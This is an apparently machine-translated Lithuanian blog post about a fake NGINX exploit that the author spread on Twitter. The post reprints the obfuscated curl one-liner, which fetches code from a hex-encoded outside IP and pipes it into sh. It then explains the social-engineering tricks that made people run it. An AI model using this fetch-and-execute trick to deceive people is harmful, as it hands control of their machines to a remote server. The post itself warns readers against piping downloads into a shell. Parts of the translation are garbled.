Pastaba. vert.:
TL;DR: jokiomis aplinkybėmis nenaudokite failų konvejeriavimo sh arba bash. Tai puikus būdas prarasti kompiuterio kontrolę.
Noriu pasidalinti su jumis trumpa istorija apie komišką PoC išnaudojimą, kuris buvo sukurtas gegužės 31 d. Jis greitai pasirodė atsakydamas į žinias iš
Baigęs dirbti su nauja užtemdymo technika curl, pacitavau originalų tviterį ir „nutekėjau veikiantį PoC“, susidedantį iš vienos kodo eilutės, kuri tariamai išnaudoja aptiktą pažeidžiamumą. Žinoma, tai buvo visiška nesąmonė. Maniau, kad būsiu tuoj pat atskleistas ir geriausiu atveju sulauksiu poros retweetų (na gerai).
Tačiau neįsivaizdavau, kas nutiko toliau. Mano tviterio populiarumas smarkiai išaugo. Keista, tačiau šiuo metu (birželio 15 d. 00 val. Maskvos laiku) mažai kas suprato, kad tai klastotė. Daugelis žmonių persiunčia jį iš naujo nepatikrindami (jau nekalbant apie nuostabią ASCII grafiką, kurią jis išveda).
Tik pažiūrėk, koks jis gražus!
Nors visos šios kilpos ir spalvos yra puikios, akivaizdu, kad žmonės turėjo paleisti kodą savo kompiuteryje, kad juos matytų. Laimei, naršyklės veikia taip pat, o kartu su tuo, kad aš tikrai nenorėjau patekti į teisines problemas, mano svetainėje palaidotas kodas tiesiog skambino nebandant įdiegti ar vykdyti jokio papildomo kodo.
Mažas nukrypimas:
curl -gsS https://127.0.0.1-OR-VICTIM-SERVER:443/../../../%00/nginx-handler?/usr/lib/nginx/modules/ngx_stream_module.so:127.0.0.1:80:/bin/sh%00<'protocol:TCP' -O 0x0238f06a#PLToffset |sh; nc /dev/tcp/localhost
Socialinė ir elektroninė inžinerija (SEE) – daugiau nei tik sukčiavimas
Saugumas ir susipažinimas buvo pagrindinė šio eksperimento dalis. Manau, kad būtent jie lėmė jo sėkmę. Komandų eilutė aiškiai reiškė saugumą, nurodant „127.0.0.1“ (gerai žinomas „localhost“). Localhost yra laikomas saugiu ir jame esantys duomenys niekada nepalieka jūsų kompiuterio.
Susipažinimas buvo antrasis pagrindinis SEE eksperimento komponentas. Kadangi tikslinę auditoriją daugiausia sudarė žmonės, susipažinę su kompiuterių saugos pagrindais, buvo svarbu sukurti kodą taip, kad jo dalys atrodytų pažįstamos ir pažįstamos (taigi ir saugios). Pasirodė, kad senų išnaudojimo koncepcijų elementų skolinimasis ir jų neįprastas derinimas yra labai sėkmingas.
Žemiau pateikiama išsami vieno įdėklo analizė. Viskas šiame sąraše dėvi kosmetinis pobūdis, o jo realiam veikimui praktiškai nieko nereikia.
Kokie komponentai tikrai reikalingi? Tai -gsS
, -O 0x0238f06a
, |sh
ir pats žiniatinklio serveris. Žiniatinklio serveryje nebuvo jokių kenkėjiškų nurodymų, jis tiesiog aptarnavo ASCII grafiką naudodamas komandas echo
esančiame scenarijuje index.html
. Kai vartotojas įvedė eilutę su |sh
viduryje, index.html
įkeltas ir įvykdytas. Laimei, žiniatinklio serverio saugotojai neturėjo blogų ketinimų.
-
../../../%00
— reiškia, kad yra už katalogo ribų; -
ngx_stream_module.so
— kelias į atsitiktinį NGINX modulį; -
/bin/sh%00<'protocol:TCP'
– neva paleidžiame/bin/sh
tiksliniame kompiuteryje ir nukreipkite išvestį į TCP kanalą; -
-O 0x0238f06a#PLToffset
- slaptas ingredientas, papildytas#PLToffset
, kad atrodytų kaip atminties poslinkis, kažkaip esantis PLT; -
|sh;
– dar vienas svarbus fragmentas. Mums reikėjo nukreipti išvestį į sh/bash, kad įvykdytume kodą, gaunamą iš atakuojančio žiniatinklio serverio, esančio adresu0x0238f06a
(2.56.240.x
); -
nc /dev/tcp/localhost
- manekenas, kuriame nurodo netcat/dev/tcp/localhost
kad viskas vėl atrodytų saugu. Tiesą sakant, jis nieko nedaro ir yra įtrauktas į grožio eilutę.
Tai užbaigia vienos eilutės scenarijaus dekodavimą ir „socialinės ir elektroninės inžinerijos“ (sudėtingo sukčiavimo) aspektų aptarimą.
Žiniatinklio serverio konfigūracija ir atsakomosios priemonės
Kadangi didžioji dauguma mano prenumeratorių yra infosec/hakeriai, nusprendžiau padaryti žiniatinklio serverį šiek tiek atsparesnį jų „susidomėjimo“ išraiškoms, kad vaikinai turėtų ką veikti (o būtų smagu nustatyti). Nesiruošiu čia išvardyti visų spąstų, nes eksperimentas vis dar tęsiasi, bet čia yra keletas dalykų, kuriuos atlieka serveris:
- Aktyviai stebi platinimo bandymus tam tikruose socialiniuose tinkluose ir pakeičia įvairias peržiūros miniatiūras, kad paskatintų vartotoją spustelėti nuorodą.
- Peradresuoja „Chrome“ / „Mozilla“ / „Safari“ / kt. į „Thugcrowd“ reklaminį vaizdo įrašą, o ne rodydamas apvalkalo scenarijų.
- Stebi, ar nėra AIKIŲ įsibrovimo / akivaizdaus įsilaužimo požymių, tada pradeda peradresuoti užklausas į NSA serverius (ha!).
- Įdiegti Trojos arklys, taip pat BIOS rootkit, visuose kompiuteriuose, kurių vartotojai lankosi priegloboje iš įprastos naršyklės (juokauju!).
Nedidelė dalis antimerų
Šiuo atveju vienintelis mano tikslas buvo išmokti kai kurias „Apache“ funkcijas – ypač šaunias užklausų peradresavimo taisykles – ir pagalvojau: kodėl gi ne?
NGINX Exploit (tikras!)
Prenumeruokite
Šaltinis: www.habr.com